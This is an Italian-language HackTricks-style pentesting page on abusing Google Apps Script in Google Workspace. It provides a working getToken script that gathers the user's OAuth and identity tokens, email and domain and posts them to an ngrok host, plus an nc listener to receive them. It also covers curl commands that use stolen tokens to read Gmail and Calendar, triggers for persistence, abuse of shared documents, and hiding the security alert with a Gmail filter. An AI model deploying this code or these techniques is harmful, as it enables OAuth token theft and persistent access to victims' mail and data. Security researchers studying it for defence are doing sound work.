# GWS - App Scripts

{{#include ../../../banners/hacktricks-training.md}}

## App Scripts

App Scripts è **codice che verrà attivato quando un utente con permessi di modifica accede al documento a cui è collegato l'App Script** e dopo **aver accettato il prompt OAuth**.\
Possono anche essere impostati per essere **eseguiti ogni certo tempo** dal proprietario dell'App Script (Persistenza).

### Crea App Script

Ci sono diversi modi per creare un App Script, anche se i più comuni sono **da un Documento Google (di qualsiasi tipo)** e come **progetto autonomo**:

<details>

<summary>Crea un progetto legato al contenitore da Google Docs, Sheets o Slides</summary>

1. Apri un documento Docs, un foglio di calcolo Sheets o una presentazione Slides.
2. Clicca su **Estensioni** > **Google Apps Script**.
3. Nell'editor di script, clicca su **Progetto senza titolo**.
4. Dai un nome al tuo progetto e clicca su **Rinomina**.

</details>

<details>

<summary>Crea un progetto autonomo</summary>

Per creare un progetto autonomo da Apps Script:

1. Vai a [`script.google.com`](https://script.google.com/).
2. Clicca su **Nuovo Progetto**.
3. Nell'editor di script, clicca su **Progetto senza titolo**.
4. Dai un nome al tuo progetto e clicca su **Rinomina**.

</details>

<details>

<summary>Crea un progetto autonomo da Google Drive</summary>

1. Apri [Google Drive](https://drive.google.com/).
2. Clicca su **Nuovo** > **Altro** > **Google Apps Script**.

</details>

<details>

<summary>Crea un progetto legato al contenitore da Google Forms</summary>

1. Apri un modulo in Google Forms.
2. Clicca su Altro more_vert > **Editor di script**.
3. Nell'editor di script, clicca su **Progetto senza titolo**.
4. Dai un nome al tuo progetto e clicca su **Rinomina**.

</details>

<details>

<summary>Crea un progetto autonomo utilizzando lo strumento da riga di comando clasp</summary>

`clasp` è uno strumento da riga di comando che ti consente di creare, estrarre/inviare e distribuire progetti Apps Script da un terminale.

Consulta la [Guida all'interfaccia della riga di comando utilizzando `clasp`](https://developers.google.com/apps-script/guides/clasp) per ulteriori dettagli.

</details>

## Scenario App Script <a href="#create-using-clasp" id="create-using-clasp"></a>

### Crea Google Sheet con App Script

Inizia creando un App Script, la mia raccomandazione per questo scenario è di creare un Google Sheet e andare su **`Estensioni > App Scripts`**, questo aprirà un **nuovo App Script per te collegato al foglio**.

### Token di accesso

Per dare accesso al token OAuth devi cliccare su **`Servizi +` e aggiungere ambiti come**:

- **AdminDirectory**: Accesso a utenti e gruppi della directory (se l'utente ha abbastanza permessi)
- **Gmail**: Per accedere ai dati di gmail
- **Drive**: Per accedere ai dati di drive
- **Google Sheets API**: Affinché funzioni con il trigger

Per modificare tu stesso i **scopi necessari** puoi andare nelle impostazioni del progetto e abilitare: **`Mostra il file di manifest "appsscript.json" nell'editor`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
Per catturare la richiesta puoi semplicemente eseguire:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permessi richiesti per eseguire lo Script App:

<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> Poiché viene effettuata una richiesta esterna, il prompt OAuth **chiederà anche il permesso di raggiungere endpoint esterni**.

### Crea Trigger

Una volta letto l'App, clicca su **⏰ Triggers** per creare un trigger. Come **funzione** da eseguire scegli **`getToken`**, eseguito al deployment **`Head`**, nella sorgente evento seleziona **`From spreadsheet`** e tipo di evento seleziona **`On open`** o **`On edit`** (in base alle tue esigenze) e salva.

Nota che puoi controllare i **runs degli App Scripts nella scheda Esecuzioni** se vuoi fare debug di qualcosa.

### Condivisione

Per **attivare** lo **Script App** la vittima deve connettersi con **Accesso Editor**.

> [!TIP]
> Il **token** utilizzato per eseguire lo **Script App** sarà quello del **creatore del trigger**, anche se il file è aperto come Editor da altri utenti.

### Abusare dei documenti Condivisi con Me

> [!CAUTION]
> Se qualcuno ti ha **condiviso un documento con Script App e un trigger utilizzando il Head** dello Script App (non un deployment fisso), puoi modificare il codice dello Script App (aggiungendo ad esempio le funzioni per rubare il token), accedervi, e lo **Script App verrà eseguito con i permessi dell'utente che ti ha condiviso il documento**! (nota che il token OAuth del proprietario avrà come scope di accesso quelli dati quando è stato creato il trigger).
>
> Una **notifica verrà inviata al creatore dello script indicando che qualcuno ha modificato lo script** (Che ne dici di usare i permessi di gmail per generare un filtro per prevenire l'allerta?)

> [!TIP]
> Se un **attaccante modifica gli scope dello Script App**, gli aggiornamenti **non verranno applicati** al documento fino a quando non viene creato un **nuovo trigger** con le modifiche. Pertanto, un attaccante non sarà in grado di rubare il token del proprietario creatore con più scope di quelli impostati nel trigger che ha creato.

### Copiare invece di condividere

Quando crei un link per condividere un documento, viene creato un link simile a questo: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Se **cambi** la parte finale **"/edit"** in **"/copy"**, invece di accedervi, google ti chiederà se vuoi **generare una copia del documento:**

<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>

Se l'utente lo copia e accede, sia i **contenuti del documento che gli Script App verranno copiati**, tuttavia i **triggers non lo sono**, quindi **niente verrà eseguito**.

### Condivisione come Applicazione Web

Nota che è anche possibile **condividere uno Script App come un'applicazione Web** (nell'Editor dello Script App, distribuisci come applicazione Web), ma apparirà un avviso come questo:

<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>

Seguito dal **tipico prompt OAuth che chiede** i permessi necessari.

### Test

Puoi testare un token raccolto per elencare le email con:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```
Elenca il calendario dell'utente:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script come Persistenza

Una opzione per la persistenza sarebbe **creare un documento e aggiungere un trigger per la funzione getToken** e condividere il documento con l'attaccante in modo che ogni volta che l'attaccante apre il file, **esfiltri il token della vittima.**

È anche possibile creare un App Script e farlo attivare ogni X tempo (come ogni minuto, ora, giorno...). Un attaccante che ha **credenziali compromesse o una sessione di una vittima potrebbe impostare un trigger temporale per l'App Script e leakare un token OAuth molto privilegiato ogni giorno**:

Basta creare un App Script, andare su Trigger, cliccare su Aggiungi Trigger e selezionare come sorgente evento Time-driven e selezionare le opzioni che meglio si adattano a te:

<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>

> [!CAUTION]
> Questo creerà un'email di avviso di sicurezza e un messaggio push sul tuo cellulare che ti avvisa di questo.

### Bypass della Finestra di Conferma Non Verificata del Documento Condiviso

Inoltre, se qualcuno ti ha **condiviso** un documento con **accesso in modifica**, puoi generare **App Scripts all'interno del documento** e il **PROPRIETARIO (creatore) del documento sarà il proprietario dell'App Script**.

> [!WARNING]
> Questo significa che il **creatore del documento apparirà come creatore di qualsiasi App Script** che chiunque con accesso in modifica crea al suo interno.
>
> Questo significa anche che l'**App Script sarà fidato dall'ambiente Workspace** del creatore del documento.

> [!CAUTION]
> Questo significa anche che se un **App Script esisteva già** e le persone hanno **concesso accesso**, chiunque con permesso di **Modifica** sul documento può **modificarlo e abusare di quell'accesso.**\
> Per abusare di questo hai anche bisogno che le persone attivino l'App Script. E un trucco interessante è **pubblicare lo script come un'app web**. Quando le **persone** che hanno già concesso **accesso** all'App Script accedono alla pagina web, **attiveranno l'App Script** (questo funziona anche usando i tag `<img>`).

{{#include ../../../banners/hacktricks-training.md}}
